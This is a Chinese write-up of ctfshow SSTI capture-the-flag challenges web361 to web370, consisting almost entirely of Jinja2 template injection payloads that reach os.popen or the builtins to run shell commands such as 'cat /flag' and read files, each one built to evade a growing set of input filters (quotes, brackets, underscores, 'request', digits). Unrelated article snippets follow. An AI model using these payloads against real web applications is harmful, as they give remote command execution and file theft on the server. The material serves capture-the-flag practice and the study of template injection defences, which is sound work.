【Web】Ctfshow SSTI刷题记录1

news/2024/5/20 0:36:51 标签: 前端, 笔记, 安全, SSTI, CTF, WEB

目录

①web361 362-无过滤

②web363-过滤单双引号

③web364-过滤单双引号和args

④web365-过滤中括号[]、单双引号、args

⑤web366-过滤单双引号、args、中括号[]、下划线

⑦web367-过滤单双引号、args、中括号[]、下划线、os

⑧web368-过滤单双引号、args、中括号[]、下划线、os、{{

⑨web369-过滤单双引号、args、中括号[]、下划线、os、{{、request

⑩web370-过滤单双引号、args、中括号[]、下划线、os、{{、request、数字


①web361 362-无过滤

题目给到Hint,尝试传?name={{1-1}}测试出ssti注入点 

掏出武器库秒了(上文有总结)

?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('tac /f*').read()")}}

或者

?name={{url_for.__globals__.os.popen('tac /f*').read()}}

②web363-过滤单双引号

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

或者

?a=tac /f*&name={{url_for.__globals__.os.popen(request.args.a).read()}}

③web364-过滤单双引号和args

 ?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.values.a][request.values.b](request.values.c).read()}}

或者

?a=tac /f*&name={{url_for.__globals__.os.popen(request.values.a).read()}}

④web365-过滤中括号[]、单双引号、args

?c=cat /flag&name={{url_for.__globals__.os.popen(request.values.c).read()}}

⑤web366-过滤单双引号、args、中括号[]、下划线

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag

⑦web367-过滤单双引号、args、中括号[]、下划线、os

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

⑧web368-过滤单双引号、args、中括号[]、下划线、os、{{

使用{%%}绕过,再借助print()回显

?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}

⑨web369-过滤单双引号、args、中括号[]、下划线、os、{{、request

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

⑩web370-过滤单双引号、args、中括号[]、下划线、os、{{、request、数字

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}


http://www.niftyadmin.cn/n/5195196.html

相关文章

No module named ‘_ctypes‘ 错误解决

No module named _ctypes 错误解决 0. 错误信息解决方法 0. 错误信息 Preparing editable metadata (pyproject.toml) ... errorerror: subprocess-exited-with-error Preparing editable metadata (pyproject.toml) did not run successfully.│ exit code: 1╰─> [63 lin…

系列五、怎么查看默认的垃圾收集器是哪个?

一、怎么查看默认的垃圾收集器是哪个 java -XX:PrintCommandLineFlags -version

C++学习 --vector

目录 1, 什么是vector 2, 创建vector 2-1, 标准数据类型 2-2, 自定义数据类型 2-3, 其他创建方式 3, 操作vector 3-1, 赋值 3-2, 添加元素 3-2-1, 添加元素(assi…

力扣刷题篇之位运算

系列文章目录 目录 系列文章目录 前言 一、位运算的基本运算 二、位运算的技巧 三、布隆过滤器 总结 前言 本系列是个人力扣刷题汇总,本文是数与位。刷题顺序按照[力扣刷题攻略] Re:从零开始的力扣刷题生活 - 力扣(LeetCode&#xff0…

【Go入门】 Go如何使得Web工作

【Go入门】 Go如何使得Web工作 前面小节介绍了如何通过Go搭建一个Web服务,我们可以看到简单应用一个net/http包就方便的搭建起来了。那么Go在底层到底是怎么做的呢?万变不离其宗,Go的Web服务工作也离不开我们第一小节介绍的Web工作方式。 w…

深度学习:欠拟合与过拟合

1 定义 1.1 模型欠拟合 AI模型的欠拟合(Underfitting)发生在模型未能充分学习训练数据中的模式和结构时,导致它在训练集和验证集上都表现不佳。欠拟合通常是由于模型太过简单,没有足够的能力捕捉到数据的复杂性和细节。 1.2 模型…

【机器学习基础】决策树(Decision Tree)

🚀个人主页:为梦而生~ 关注我一起学习吧! 💡专栏:机器学习 欢迎订阅!后面的内容会越来越有意思~ ⭐特别提醒:针对机器学习,特别开始专栏:机器学习python实战 欢迎订阅&am…

python-opencv 培训课程笔记(1)

python-opencv 培训课程笔记(1) 博主参加了一次opencv库的培训课程,把课程所学整理成笔记,供大家学习,第一次课程包括如下内容: 1.读取图像 2.保存图像 3.使用opencv库显示图像 4.读取图像为灰度图像 …